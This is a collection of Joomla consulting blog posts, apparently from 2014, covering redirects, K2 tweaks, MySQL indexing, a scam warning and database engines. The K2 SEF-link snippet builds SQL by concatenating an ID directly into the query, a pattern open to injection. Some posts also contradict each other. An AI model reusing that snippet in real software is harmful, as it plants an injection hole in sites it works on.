Today, Saturday the 18th of April 2014, is a historic day. We are going to do what no man (or group of men) has ever done. We are going to unveal a great secret. We are going to explain how Joomla’s Redirect Manager system plugin works!

Yes, that dramatic introduction was necessary, because there’s not a single reference online or offline, official or unofficial, explaining how Joomla’s Redirect Manager works!

So how does Joomla’s Redirect Manager work?

A common misconception about Joomla’s Redirect Manager is that it works the following way:

  • You go to the Redirect Manager component by clicking on Components -> Redirect.
  • You click on New on the top right.

  • You enter your old URL in the Source URL and the new URL (the URL you want the old URL to redirect to) in the Destination URL.

  • You click on Save on the top right and then you visit the old URL on your trusted browser expecting a glorious 301 redirect to the destination (new) URL but nothing happens!

  • You do the same thing over and over again, making sure that you’re entering the old URL exactly as it is in the Redirect Manager, but still nothing works!

  • You give up on the Redirect Manager and you do your redirects either in the .htaccess file or through a 3rd party extension such as sh404SEF.

  • You start wondering why-oh-why does Joomla have a built-in extension that doesn’t even work, and even start suspecting the stability of Joomla.

  • You begin experiencing terrible nightmares about this issue and you start seeking professional help! (OK, this is a joke! If it’s not then you should really take it easy).

As you can see, using the Redirect Manager typically ends up in frustration and complete abandonment of the extension. The thing is, the extension actually really works, but the majority of people don’t even know how.

So, how does the Redirect Manager really work?

Here’s a concise and accurate definition of how the Redirect Manager system plugin works: “The Redirect Manager system plugin redirects from a Source URL that generates a 404 error to the Destination URL. ” In other words, don’t expect the Redirect Manager to redirect a page that already exists on your website to another page; in order for the magic to happen, the Source URL must yield a 404 error. There are some other obvious conditions for the Redirect Manager to do its job properly:

  • There must not be any condition(s) in the .htaccess file that redirects 404 pages to other pages. Such a condition will run prior to the Redirect Manager system plugin and thus, the plugin will not work because it won’t see any 404 page.
  • The Redirect Manager system plugin must be enabled (Duh!).

  • The Source URL must generate a 404 error on the Joomla website. In other words, the 404 error must be generated by the Joomla website, and not by Apache, this is because the Redirect Manager system plugin does all its work in the handleError event that is triggered when an error (non-fatal) happens on the Joomla website.

If you’re still having problems with the Redirect Manager extension and you need help, then please contact us. Our fees are right, our work is professional, we know our Joomla, and we are the friendliest programmers on planet Earth.

How to Set the Facebook Share Image on K2

If you have a Facebook Share button on your website, then you might have noticed that Facebook tends to automatically choose an image in the popup. In some cases, Facebook chooses the right image, because the image chosen is the one closest to the share button, which is typically located inside the article itself (so Facebook chooses an image from inside the article).

However, if your article doesn’t have an image, then Facebook will choose another image from your website as the share image; that image might be the logo of your website (which usually looks distorted or wrongly cropped), or even the banner of a completely irrelevant ad located inside the article. Imagine that: people clicking on the share button and seeing the image of an ad on your website instead of an image related to your website/your post.

Also, it might be that you want to display the same share image for all your articles instead of a different image for each article. That’s what many websites are doing these days to better promote their corporate social identity.

Now, if you’re using K2, then you’re in luck, because in this post we will explain how to set the Facebook share image to be the same on all your K2 articles! Without further delay, here’s how it can be done:

  • Open the file view.html.php located under the /components/com_k2/views/item folder of your Joomla website.

  • Just above the line:

    $document->setMetaData('og:description', htmlspecialchars(strip_tags($document->getDescription()), ENT_QUOTES, 'UTF-8'));

    Add the following line:

    $document->setMetaData('og:image', 'http://www.yourjoomlawebsite.com/path-to-your-facebook-share-image.jpg');

  • Save the file and upload it back to your Joomla website.

  • That’s it!

The above will set a global share image for all K2 items, but not the category pages. If you want to set the Facebook share image on a K2 category (just the category, not the items belonging to that category), then all you need to do is to assign an image to that category. Here’s how this can be done:

  • Login to the backend of your Joomla website.
  • Go to Components -> K2 -> Categories.

  • Click on the category you wish to set the Facebook Image for.

  • Click on Image (below the Language dropdown and just next to Description tab).

  • Choose an image for your category.

  • This image will be used as the default image for Facebook when you click on the Share button.

Some notes:

  • The image you choose as your Facebook share image must have a size of at least 200px x 200px, otherwise, it will not be used by Facebook. Note that you should always opt for a 1:1 ratio, for example, if the width of the image is 300px, then the height must be 300px, otherwise, the share image will look distorted.

  • Facebook will cache images, so if you don’t see your changes appearing immediately, do not worry. Your changes will appear once Facebook refreshes its cache.

  • og stands for Open Graph, which is the same standard used by LinkedIn. This means that when you set the image for Facebook share, it will be set for LinkedIn share as well!

  • You can debug your Open Graph meta data the Facebook debug tool here. Just enter the URL of the page that you have the Open Graph metadata in and Facebook will tell you how it’s reading it (it’ll also tell you if there’s any problem with it, such as images being too small).

  • K2 has some code that apparently tries to set the Facebook share image for an item. Unfortunately, that code has no effect, even if it runs, but it will never run because the condition set to run the code will never be fulfilled.

Social meta-tagging, such as setting share images, might look daunting, but it really isn’t. Nevertheless, if you have problems with social meta-tagging on your Joomla website, then please contact us. We’ll solve the problem for you in no time and for a very reasonable cost!

Duplicate Indexes Can Really Slow Down Your Joomla Website

Note: This post is extremely advanced and is geared towards those who are well versed in database administration and who have a vast knowledge of the ins and outs of Joomla. If that doesn’t apply to you, then please do not experiment with your live site (you may make things worse, much worse), and contact some professionals, such as, ahem, itoctopus!

Another note: If the MySQL Slow Query Log is showing that this query…

UPDATE #__content SET hits=n WHERE id=m

…is taking a long time to execute then this post will definitely help!

Every new programmer is taught that table indexing is good for you – and that he should ensure that all the filter fields in all the tables are properly indexed. So, that programmer grows into thinking that the more indexes he has on a table, the faster that table is. This is wrong…

In fact, the more indexes you have on a certain table, the slower any updates/inserts on that table are. Additionally, if you have duplicate indexes, then the performance hit on updates/inserts can be dramatic. Not only that, the performance gain from duplicate indexes in read only table activities (such as SELECT queries) is this: none, zilch, zero, nada! (There are some exceptions to this though.)

The thing is, detecting duplicate indexes can be a painful job, and requires some serious expertise in database administration. Of course, there are tools that can detect duplicate indexes, but we are assuming that you don’t have access to these tools.

So how can you manually detect duplicate indexes?

Before detecting duplicate indexes on a table, you will first need to check the indexes on that particular table. This can be done in 2 ways:

  1. Clicking on the Indexes link just below the table structure in the Structure view of that table in phpMyAdmin.
  2. Running the following query:

    SHOW INDEX FROM [your-joomla-table];

    For example:

    SHOW INDEX FROM #__categories

    where #__ is your Joomla table prefix as defined in the configuration.php file located in the root directory of your Joomla website.

Now, once you’re able to see the indexes on that table, you will need to visually check for duplicates. Of course, the big question is, how?

Well, an obvious duplicate index is when you have the same field indexed twice in an identical index. An example of this scenario is when you have these 2 indexes on the same table:

  • idx_left: Which solely consists of the left column.

  • idx_left_2: Which also solely consists of the left column.

Of course, it is super easy to detect such a duplicate index. A more complicated one to detect (and fix) is when you have the index consisting of more than one column. For example, let’s say you have the following indexes on your table:

  • idx_title: Which solely consists of the title column.
  • idx_title_published: Which consists of the title and the published columns.

  • idx_title_alias_published: Which consists of the 3 columns: title, alias, and published.

Now, before explaining the duplication in the above, let us very quickly explain how indexing works if there are multiple columns in the index: in short, an index is created on the first column, and then an index is created on the first column and the second column, and then an index is created on the first column, second column, and the third column, etc…

For example, in our index idx_title_alias_published above, the following columns are indexed: title/title, alias/title, alias, published. As you can see, the index idx_title is clearly a duplicate, because we already have an index on the title column as part of the idx_title_alias_published index. So, we can safely drop that index by issuing the following query (or by clicking on Drop next to the index name in phpMyAdmin):

ALTER TABLE [your-joomla-table] DROP INDEX `idx_title`

But, how about the idx_title_published index. Clearly the first index created (which is the index on the title column) is a duplicate in the idx_title_alias_published index , but the second index, which is the index on the title and the published columns, is not. Now, since there’s a 99.99999% chance that we are only interested in the idx_title_alias_published index because of the index on the 3 columns combined (e.g. the index on the title, the alias, and the published fields), then we can modify that index to be idx_title_published_alias, where the order of the fields in that index is: title, published, and alias. If we do this, then both indexes created by the idx_title_published will be included, which means we can safely delete it (e.g. we can safely delete the idx_title_published index).

Of course, the examples we gave above are simplistic, and the indexes can be much more complicated than that (keep in mind also, that in some cases, duplicate indexes are a necessity, but that’s probably in about 2% of the cases). If you are having some performance issues on your Joomla website because of duplicate indexes, then please contact us. We would love to help and we won’t charge you much.

A final thought: Table indexing is an art, so the artist title should be bestowed on whoever masters that art.

Script to Mass Update sh404SEF Links and Add the Original Links as Aliases

If you’re using sh404SEF, then, first, we feel sorry for you! But second, we have good news!

We have created a script that allows you to batch change links in sh404SEF. For example, say you have 5,000 links on your website that contain the pattern my-products/, and say you want to change my-products/ to products/ while ensuring that your old links still work. Here’s what you’ll have to do:

  • Change the category (or the menu item) alias from my-products to products.
  • Flush all the sh404SEF links.

  • Go through 5,000 links that have products/ in them, and then add the appropriate alias. For example, for the link http://www.yourjoomlawebsite.com/products/, you will need to add http://www.yourjooomlawebsite.com/my-products/ as an alias. You must do this to ensure that your old links still work and redirect to the new links. A much more expedient way of fixing the problem is by adding a rule in your .htaccess file to redirect anything that has my-products/ to products/, but it’s always better to avoid making changes in your .htaccess file unless you can’t do them at the Joomla level. (We’ve seen .htaccess files that are illegible.)

As you can see, the process for massively changing links and ensuring that the old links redirect to the new ones in a 301 redirect is not straightforward and can take a lot of time especially if you go with it the manual way (instead of doing it in the .htaccess file). But, if you use our script, then all you need to do is the following:

  • Extract the zipped PHP file to he root directory of your website.
  • Open that PHP file and change the values of $changeFrom and $changeTo to your values (in our example above, $changeFrom should be my-products/ and $changeTo should be products/).

  • Point your browser to http://www.yourjoomlawebsite.com/changesh404SEFLinks.php. Once you see the word “Done!”, then it means all your links are changed, and your old links are 301 redirected to the new ones. Congratulations!

Some notes:

  • This script is designed to work on Joomla 2.5, but it might work on 3.x with little or no modification. We haven’t tested it on Joomla 3.x yet.

  • Running the script more than once accidentally should not harm the website.

  • You should backup your website before running the script. We are not responsible for any direct/indirect issues on your website caused by the script.

We hope our post helped! If you have issues running the script, then please contact us. We’ll be more than happy to help for a very reasonable fee!

The JoomlaSupport User Is a Scam! Beware!

A new phenomenon that we’re noticing lately is that a user with a username “JoomlaSupport” is registering automatically on Joomla sites that allow user registration.

Once that user registers, the owner of the Joomla website is contacted by a shady company, (surprisingly) called “JoomlaSupport”, pretending to be Joomla’s Official Support and telling him that his website is hacked and that he needs to give them full access to fix the problem (for money, of course!).

This is a scam! Do not even reply to their email!

The problem is, some Joomla website owners will probably fall for these deceptive and scammy techniques and will most likely pay that shady company a lot of money for doing absolutely nothing. Not only that, we’re sure that this company will contact those deceived owners again, and again, and again, to extort more money from them.

So, what can one do to avoid being scammed?

Well, first of all, ignore any “official” email from Joomla – Joomla will never send emails to those using the Joomla CMS. In fact, Joomla doesn’t even know the emails of Joomla administrators/website owners out there. If you ever receive an email pretending to be from Joomla, then you should rest assured that that email is a scam.

But, how did the JoomlaSupport user registered in the first place?

By default, Joomla websites allow user registration, and that’s how any user (or any script) can register to the website, even if the website doesn’t have a registration form. Joomla administrators must disable user registration if they’re no using it, we have explained how to do this, in details, here.

If your website has received an unwelcome email from “JoomlaSupport”, then you can safely ignore it, it really is nothing more than a scam. If you want help on your Joomla website, then please contact us, and we’ll be more than happy to work with you! Please note that our super affordable fees apply.

20 Thoughts for a Better Joomla

We have been working with Joomla for nearly a decade now (actually, more than a decade if you include the time we worked with Mambo), and we know it inside out. Joomla is a great CMS, and, in our humble opinion, it is the best CMS. Having said that, there is still room for improvement, and that’s why we are listing below 20 thoughts to make Joomla even better!

  1. Using jQuery instead of MooTools: If we had a time every time we fixed a problem on a Joomla website because of a jQuery conflict with MooTools, we’d have over a hundred dollars now! We really have no idea why the Joomla team insists on using MooTools instead of jQuery, despite the fact that the latter is much easier and much more widespread. Thankfully, Joomla 3.x is using jQuery instead of MooTools, but Joomla 2.5 is still using MooTools (it can always be disabled though), which means once Joomla 2.5 is phased out, this problem will be no more!

  2. Addressing the performance issues: As we have mentioned before, Joomla suffers from major performance issues inherent to its core. We’re not only talking about inefficient queries, but we’re also talking about inefficient queries that are run twice. We are also talking about costly (database wise) updates that take forever to be executed on large Joomla websites. These problems still exist in the latest versions of Joomla 2.5 and 3.x. Interestingly, most of these performance issues did not exist in Joomla 1.5, that’s why many Joomla administrators are still hesitant to migrate to Joomla 2.5/3.x despite the security risks they currently have on their Joomla 1.5 sites.

  3. Integrating a form builder in the core: An extremely used feature in Joomla is form building. In fact, about 50% of the websites that we work on use a 3rd party custom form builder. While some of these 3rd party extensions are excellent (such as RSForms!), it is a great idea to integrate a custom form builder in Joomla’s own core instead of having Joomla administrators shop around for an extension that does this job.

  4. Integrating a data export tool: If you want to export your data from one Joomla website to another, then you will soon find that it’s not an easy task, this is because Joomla doesn’t have a built-in tool for this purpose. You will have to jump through hoops to do the export, and quite often, the result isn’t impressive (e.g. the export doesn’t work as it should). Joomla must have a data export tool similar to the one that WordPress has, it’ll really make the life of many Joomla administrators much, much easier!

  5. Fixing caching: Caching in Joomla works, but, on the flip side, it can break the whole website. This is why Joomla administrators prefer to use 3rd party extensions to handle caching. Joomla must learn from these extensions to fix its own caching. It’s completely silly to disable Joomla’s own caching to use a 3rd party extension instead.

  6. Intelligent ordering of the plugins: If you’re not that new to Joomla, you probably know by now (the hard way) that the ordering of the plugins does matter, and that you must order your plugins the right way to ensure that your website works correctly. But knowing the right ordering is extremely tricky and can take a lot of time. Joomla must have the intelligence to automatically order plugins the right way. Of course, the Joomla administrator must still be able to fine-tune the ordering – but Joomla must have a functionality to intelligently auto-order plugins.

  7. Getting rid of the assets table: If there is one table that makes everything in Joomla much more complicated, it’s the #__assets table. We consider that table a step back, and not a step forward (it didn’t exist in Joomla 1.5, and it’s one of the reasons Joomla 1.5 is faster than 2.5 and 3.x). Not only does this table add unnecessary complexity to Joomla, it also causes serious performance and ACL issues. Joomla 1.5 was running very well without this table, so getting rid of it is not impossible.

  8. Better ACL: We always have at least a couple of calls every week from customers who say that they inadvertently broke their Joomla websites because they made changes to the ACL. In some cases, customers are no longer able to login to their Joomla backend because of their accidental ACL changes. We think that the current ACL gives too much rope for administrators to hang themselves – it’s just way too allowing. The ACL must be flexible, yes, but there must be some checks to ensure that whatever the administrator is doing will not break the website.

    Additionally, Joomla’s ACL, as it currently is, is quite complicated. It should be easier, much more easier than it currently is.

  9. Better SEF: Joomla has its own SEF engine, yet most websites, especially large and important websites, use 3rd party extensions to handle SEF. In fact, the majority of these websites choose the worst Joomla extension over Joomla’s own SEF! To its credit, we think that Joomla’s SEF plugin is extremely stable – it just isn’t flexible at all.

  10. Fixing the Redirect Manager: If anyone out there knows how Joomla’s Redirect Manager component works, please do let us know. For the life of us, we have never been able to make that thing work properly without modification to Joomla’s core. The Redirect Manager is clearly broken (or it might be that nobody knows, including us and those who created it, how to make it work properly).

  11. Fixing the Update Manager: The Update Manager is a critical feature in Joomla 2.5 and up. But, alas, it’s buggy. In fact, on this very day and at this very moment, we have many websites that are updated to Joomla 2.5.19 (the latest version), but the Update Manager is telling us to update to Joomla 2.5.18. Maybe it makes sense on a Bizarro planet, but here, on Planet Earth, it’s just weird!

  12. Using the JCE Editor by default instead of TinyMCE: We love JCE Editor, and our customers love it as well. We think that it’s way better than TinyMCE, yet Joomla still ships with TinyMCE as the default editor (instead of JCE Editor), even though it often has security issues, it has way less features than JCE Editor, and it’s not even remotely as flexible. We think that Joomla must use the JCE Editor as the default editor – it’s just a much better editor on all levels.

  13. Restoring the Preview functionality: Every time we migrate a Joomla 1.5 website to Joomla 2.5 or 3.x, the client asks us, “Where is my Preview button?”. Joomla made a wrong decision by dropping the Preview functionality in version 2.5 and higher. Of course, there are 3rd party extensions that can do that, but we think that this should be part of Joomla’s core.

  14. Allowing Joomla administrators to assign modules to a menu item from within that menu item: Assigning modules to a menu item from within that menu item is an extremely handy feature, and we’re surprised that Joomla still doesn’t have it. In fact, what Joomla has at the moment (in the menu item) is completely useless: it lists all the modules that the website has in the menu item, and next to each module it has “Yes”, “No”, or “All” (there is also no way to order by Display) – if you have a few dozen modules on your Joomla website, you will immediately know how annoying and useless this feature is.

  15. Overhauling the hidden menu concept: This concept is probably related to enhancing Joomla’s SEF. The hidden menu concept started as a workaround and now is an integral part of doing things in Joomla. We think that this whole concept must be overhauled in one way or another – again, if Joomla has a much better SEF, then we won’t even need this workaround in the first place.

  16. Integrating a built-in firewall: The majority of Joomla hacks that we fixed could have been prevented if Joomla had a built-in firewall. The firewall would just have to filter the input and check the files uploaded to the system (weeding out malicious uploads). Note: At itoctopus, we have developed a mini Joomla firewall that we are using for our own clients (on top of the other security features we have implemented for them).

  17. Adding the Extra Fields functionality to content items: K2’s extra fields are very powerful and very useful, it is extremely odd that Joomla doesn’t have the equivalent in its content items. In fact, if you want to extend a content item, you will need to modify Joomla’s own core, which is not a great way of doing things! This feature is pretty handy and most Joomla administrators need it!

  18. Built-in SEO tools: While Joomla allows you to individually set the meta information (such as the meta description and the meta keywords) for content items, it will not automatically generate them. It also doesn’t add canonical links to the HTML code. Joomla must do these things – users shouldn’t need to download 3rd party extensions to do that!

  19. Ensuring that the installation of an extension will not break the website: Joomla is notorious for allowing 3rd party extensions to break the website. We think that Joomla must implement a mechanism to check whether an-about-to-be-installed extension will break the website or not, and if it will, then Joomla must not allow the installation to go through. Of course, we reckon that it’s extremely hard (but not impossible) to implement this functionality, but, at the very least, Joomla must have an easy way to revert to the previous stable state if a newly installed extension breaks the website (more or less like the Windows Restore functionality).

  20. Ensuring that an about-to-be-installed extension is secure: Before allowing an extension to be installed, Joomla must first scan it to check whether 1) it contains some malicious code and 2) it adheres to Joomla’s security standards. This is not as hard as it seems. Yes – installing an extension will take a bit more time, but that time will definitely be worth it.

There you go – this is our list for a better Joomla. If you think of something else, then please add it in the comment section below. And, as usual, if you need help on your Joomla website, then please contact us and we’ll get back to you instantly. Note that our super affordable fees apply.

How to Programmatically Generate an SEF Link of a K2 Item

Although K2 is one of the most used and powerful Joomla extensions out there, there is very little documentation to do even the basic things with it. For example, how can one generate an SEF link to a K2 item based on the ID of that item?

That’s why, at itoctopus, we decided to share a little piece of code to generate a link to a K2 item simply based on its id. Here it is:

//we assume that the K2 ID is stored in the variable $k2Id
$db = JFactory::getDbo();
$sql = "SELECT alias, catid FROM #__k2_items WHERE id='".$k2Id."'";
$db->setQuery($sql);
$arrK2ItemInformation = $db->loadAssoc();

$sql = "SELECT alias FROM #__k2_categories WHERE id='".$arrK2ItemInformation['catid']."'";
$db->setQuery($sql);
$arrK2CategoryInformation = $db->loadAssoc();

require_once(JPATH_SITE.DS.'components'.DS.'com_k2'.DS.'helpers'.DS.'route.php');
$strK2SEFURL = JURI::root().JRoute::_(
K2HelperRoute::getItemRoute($k2Id.':'.urlencode($arrK2ItemInformation['alias']),
$arrK2ItemInformation['catid'].':'.urlencode($arrK2CategoryInformation['alias']
)));
$strK2SEFURL = str_replace('//', '/', $strK2SEFURL);
//the K2 SEF URL will be stored in $strK2SEFURL

You can put the above code in a template, a module, a component, or even a plugin, as long as you know the ID of the K2 item that you want to display the link for. It really works and it’s really that simple!

If the above code is a bit over your head, then fear not, just contact us and we’ll implement it for you. We won’t charge you much and we’ll do the work quickly, efficiently, and professionally!

How to Remove the Div Tag From Custom HTML Modules

Custom HTML modules are by far the most used (and most loved) modules in Joomla. They’re very easy to use, they do the job, and they are extremely light. However, there is one problem with Custom HTML modules that stops them from being perfect, it’s that they always encapsulate the user’s content (e.g. the content that you add) in a div tag. There is no way to remove the div: you can style it the way you want, but you cannot remove it. That’s a bummer!

“Why would people want to remove that harmless div tag?”, we hear you asking… Well, because if you want to use the Custom HTML module to solely add some CSS styles or some JavaScript code, then most likely you do not want that needless div tag, especially because it may make the HTML code invalid (for example, when the module is added to the head tag).

Most Joomla administrators circumvent this problem by using a simple 3rd extension that will add their content without the encapsulating div. While this strategy works, we have a better way of doing this, and the best part is that it doesn’t involve modifying the Custom HTML module (we just extend it)…

Here’s a simple guide on how we do this:

  • We copy the default.php file from the /modules/mod_custom/tmpl folder to the /templates/[your-template-name]/html/mod_custom folder (if that folder structure doesn’t already exist, we create it).
  • We rename the file default.php which is now under the /templates/[your-template-name]/html/mod_custom to nodiv.php.

  • We open the file nodiv.php, and we remove the following lines:

    <div <?php if ($params->get('backgroundimage')) : ?> style="background-image:url(<?php echo $params->get('backgroundimage');?>)"<?php endif;?> >

    and

    </div>

  • We save the file and then we upload it back to the server.

  • We login to the backend, and we create a Custom HTML module (or we open an existing one).

  • We click on the Advanced Options tab on the right, and then we choose nodiv from the Alternative Layout dropdown.

  • We save the Custom HTML module and we check the website. And Voilà! The encapsulating div tag is no longer there!

We hope you liked our little guide and we hope that you found it useful. However, if you have tried the above and you still see the annoying div tag in the Custom HTML module even though you set the layout to nodiv, or if you think the above is too technical, then please contact us. We are always happy and eager to help, we work really fast, and our rates are super-duper cheap!

On Pointing a Fresh Joomla Install to the Database of an Old Joomla Website

We are seeing more and more Joomla administrators doing the following when they have some issues on their Joomla websites that they cannot resolve themselves:

  • They create a Joomla website from a fresh install (same version of the one that they currently have).
  • They install some or all of the extensions they have on the old website (many actually skip this step).

  • They point the fresh Joomla install to the database of the old Joomla website.

  • They then start noticing issues on their new Joomla website, including, but not limited to, missing/broken pages, and missing/broken functionality.

In short, once they do the above (point the new Joomla website to the old database), their website ends up in a worse state than it was before. But why is that?

Well, unlike popular believe, Joomla’s database and filesystem are not independent of each other. In fact, they work together in harmony to ensure that the website runs smoothly. Each database is unique to the filesystem (unless, of course, the filesystem is an exact replica of another filesystem), those who think differently risk building a Frankenstein Joomla website, and we all know what happens to a Frankenstein…

So, what is the right way of doing things?

Well, the right way to do things is obvious: Either fix the problem(s) on the old website or re-create the website from scratch by importing the data, and not by pointing the new Joomla website to the old database. If things were that easy then anyone would be doing this to fix his Joomla website. Oh, and by the way, when you have a Joomla website which has some issues, then, there is more than 90% chance that these issues are because of a corrupt database. So, doing the above will definitely not fix the problems that you originally had, and will definitely create more problems.

But what about following this strategy for hacked websites?

Many Joomla administrators believe that when their website is hacked, then there’s no way to have it completely cleaned, and that the virus will still lurk somewhere despite all the cleanup work. That’s why they prefer to go with the fresh install strategy. Well, first, there is a way to cleanup a website completely and to secure it (we do this all the time), and second, as stated above, following this strategy may well result in a corrupt website. It’s like jumping from the frying pan into the fire.

If you are a victim of following the above strategy (pointing a new Joomla website to an old database), then fear not. Just contact us and we’ll fix your old website (or your new one, but fixing the older is usually simpler) quickly, cleanly, and for a very reasonable fee.

A Joomla Module to Display a SlideBox on Page End

At itoctopus, we love to share our Joomla work with our readers. We think that by doing this we do our part to ensure that Joomla remains at the helm when it comes to CMS solutions. Why do we do that, you might be wondering? Well, because we believe, and rightly so, that Joomla’s success is directly proportional to our success!

Today, we are offering our readers, for free, a module that displays a slidebox of a new article when the person reaches the end of the current article he’s reading. We call this module the “PageEnd Slidebox”. (Not to be confused with the “Page End Slidebox” module available on the JED. That one is commercial and is not developed by us.)

The module can be downloaded here.

Quick notes:

  • The module is very simple to use. Just install it and assign it to the menu item of your choice (which normally should be a category blog), and it’ll do the rest.
  • The module should be assigned to a module position that is immediately below the content position. That module position shouldn’t have any formatting (e.g., it shouldn’t be rounded, xhtml, etc…).

  • The module does not alter any content prior to display. It simply adds a div tag at the beginning of its display position (which should be, again, immediately below the content) to know when to display the slidebox.

  • The CSS of the slidebox is controlled by the CSS file mod_pageend_slidebox.css in the css folder. If you want to change the colors of the slidebox, you should do it there.

  • The Fresh item is retrieved the following way:

    • We get the latest 5 articles from the same category of the currently displayed article (of course, we make sure that it’s not the same article that is being displayed).

    • We then get a random article from these 5 articles.

    • We display that article in the slidebox.

    If you wish to change that behavior, then you can do that. The logic is done in the default.php file located under the tmpl folder. (Note: The module can be easily adapted to work in K2.)

  • The module has no hidden links or hidden code anywhere. We really condemn these practices and have never used it and we will never use it.

  • The module is made for Joomla 2.5, but technically it should be compatible with Joomla 3.x. We haven’t tried it on Joomla 3.x though.

  • The module is extremely light. It shouldn’t add even the slightest pressure on the busiest Joomla sites. It just has one simple query to the database.

  • The module uses the jQuery JavaScript library and directly includes it from Google’s own site. We have tested this module on many Joomla sites and we didn’t have any conflict between jQuery and MooTools (another JavaScript library) on any site.

  • The module is completely free. You don’t have to pay us a penny for using it. We just hope you like it!

  • Credit is given where credit is due: We have used this resource to build our Joomla module.

We hope that you find this module useful and that it will increase your visitors’ engagement. If you need help installing/customizing it, then please contact us. We are always available for help, our work is ultra-professional, and our rates are super affordable.

On Leveraging the Power of K2’s Extra Items

If you’re an avid reader of our blog, you will probably know that we love K2 – no – make that we’re in love with K2. It just makes our lives much easier and happier: we can extend it, we can easily migrate from one version of K2 to another, it doesn’t suffer from the performance issues that Joomla’s core content management suffer from, and it just has so many amazing built-in features! It also doesn’t use the #__assets table, which makes moving the K2 content from one website to another much easier. We did cover, in details, why K2 is better for content management than Joomla’s own core here.

Now, let’s move on to the actual point of this post…

This last weekend, we were commissioned to implement a solution for a company on its Joomla website. In short, the company needed to add content to its website related to healthcare. “Easy!”, you might be thinking! “They can just add Joomla articles!”. Well, there’s more to it – they actually needed to have additional fields and display those additional fields in different colors. “Still, it’s very easy”, you might say, “they can just add those fields to every article and give a different CSS style to each”. That can be done, but it wasn’t what they wanted. They didn’t want the people adding content to go through the hassle of explicitly specifying a CSS class for those many extra fields, since the people doing that work weren’t that technical and they were afraid of ending up with inconsistency issues when it comes to the look & feel. Additionally, they wanted to be able to hide/show these extra fields on demand (yes, it can be done through CSS, but it wouldn’t look good to the search engines if a substantial portion of the page is hidden using display: none).

Thankfully, K2’s Extra Items came to the rescue. If you don’t know what those Extra Items are, let us explain: Extra Items are, in short, K2’s own way to allow you to add additional fields to the form in the backend, and to display those fields on the frontend. For example, in our project, we added the following fields to the Medicine K2 category:

  • Category: Which is a drop down of different categories of available medicine.

  • Available since: A date field (self-explanatory).

  • FDAA approved on: A date field (also self-explanatory).

As you can see, those additional fields make it much easier to add the necessary information about a medicine, to display it differently on the frontend, and to export it to a different system should the need arise. We were able to finish the whole job in 5 days (we finished on Wednesday), other companies have quoted 2 months (and more) for the very same job (as we were told by the IT Manager). Yes – it might take 2 months if you want to develop those forms from scratch, but, since we have leveraged the power of K2’s Extra Items, we finished the job in just 5 days!

But are they perfect?

Well, nothing is perfect, and that includes (or excludes? This is probably a very advanced question for Grammar Scientists…) K2’s Extra Items. Here’s why:

  • The fact that you need to assign them to only one Extra Item Group and then assign that group to a category can lead to redundancy issues. So, if you want 3 different extra items from 3 different groups for a category you will need to re-create the items, and then re-create another Extra Item Group, and then assign that group to the category.

  • You can’t add a description for the Extra Fields. Not really the end of the world, but for those who are entering the data, it can be quite annoying before they get used to the system and memorize what each field is about.

  • The associated data is stored in a json encoded format in the database, which means that you will need to decode those values, prior to using them, using the json_decode. This, of course, is not an issue when displaying those extra fields on the website. But, if you want to search by Extra Fields, it can be a bit hard and performance may not be that great. This can be a major issue if the search functionality is critical to your website (then again, there’s a solution for anything Joomla, at least at itoctopus!).

If you intend on using K2’s Extra Items on your website and you’re a bit hesitant, then don’t! We can’t recommend them highly enough. And, if you need help using them to implement a solution, then please give us a call or shoot us an email. We’re always available, we’re very hard workers, we produce high-quality code, and our rates are among the most affordable in our industry!

Your Joomla Website Is Crashing Constantly? Switch from MyISAM to InnoDB

Note: This post only applies to Joomla websites using MySQL.

Another note: This post only applies to Joomla 2.5 and lower. Joomla 3.x uses the InnoDB engine across the board by default.

The majority of crashes on Joomla websites are caused by database issues, in particular, database corruption issues. For example, if the table #__session is corrupt (and needs repair), then the whole website will crash, and, unfortunately, that table does crash a lot on large websites.

Now, the question is, why do database crashes happen?

Database crashes happen when the application (such as Joomla) is trying to write to the database, but something unexpected happens, such as temporary loss of network connection between the database server and the application, server hiccup, loss of power, etc… When this happens, and if you’re using MyISAM (which is the default table type in Joomla), then 1) the table will remain in a locked state until it’s repaired and/or 2) table corruption may happen. Any of the previous 2 issues can make your Joomla website inoperable until your repair the corrupt tables (by issuing the REPAIR query on those tables).

So, what’s the solution?

The solution is to use InnoDB instead of MyISAM as the table type for the heavily updated tables, namely the #__assets and the #__session table. InnoDB has a couple of serious advantages over MyISAM when it comes to stability, which are:

  1. Row locking instead of table locking on writes: When the Joomla website is inserting a row in the #_session table (or updating a row in that table, for that matter) and if that table is a MyISAM table, then the whole table is locked. Any requests to write to that table will be denied. On the other hand, if the table is an InnoDB table, then only the affected row will be locked, which means that concurrent writes to that table are possible as long as they are not affecting that particular row. This ensures that the table will never be left in a locked state if it’s InnoDB.
  2. ACID implementation: ACID stands for Atomicity, Consistency, Isolation, Durability, and this is what InnoDB tables are about: Atomicity means that any action that is done on an InnoDB table is atomic, which means that that action will be reverted if it’s not completely done. Atomicity ensures Consistency of that particular table (many references try to explain Consistency as something different, but we think that it’s just a corollary of Atomicity). Isolation means that we can have concurrent writes seamlessly, and Durability means that any sever crash will not cause corruption in the tables. Again, Durability is a corollary of the other InnoDB properties.

So, why does Joomla still use MyISAM?

Joomla still uses MyISAM by default because, ahemmm, MyISAM is lighter and faster (we know that many Database administrators will disapprove of this statement), not in all conditions, but in most conditions. According to our experience, under normal operations, reads and writes are both significantly faster on MyISAM tables. Additionally, MyISAM tables allow for full-text search indexing, which is not possible in InnoDB tables because of their structure.

And how can a table be changed from MyISAM to InnoDB?

You can change (alter) the table type from InnoDB to MyISAM by executing the following query:

ALTER TABLE [your-table] ENGINE=INNODB;

So, if you want to change the tables #__assets and #__session from MyISAM to InnoDB, then you will need to execute the following queries (while in phpMyAdmin):

ALTER TABLE #__assets ENGINE=INNODB;

and

ALTER TABLE #__session ENGINE=INNODB;

(Of course, you will need to replace #__ with your table prefix.)

We don’t think it’s a good idea to change all tables from MyISAM to InnoDB, because this will cause performance issues on your Joomla website.

If your Joomla website is crashing because of database issues, then try implementing the above table change. If you still experience the same issue, then please contact us. We’ll investigate the issue for you and we’ll definitely find and implement a solution (and we won’t charge you much!).

Joomla 3.2.1 Hacked? It Might Be the “loader.php” File

We are recently getting a barrage of Joomla 3.2.1 websites that are hacked and need to be fixed. Obviously, someone cashed in on the recently announced vulnerability on Joomla 3.2.1, and fast! We are saying someone (and not some people), because 90% of those hacked websites have the exact same hack: the Google hack! (Or so we like to call it!)

In short, the website will display different content for Google than the one displayed for the users, and that’s why it’s so hard to discover! Eventually, Joomla administrators discover that their websites were hacked because they lose their search engine rankings! Not the best way to discover that a website has been hacked!

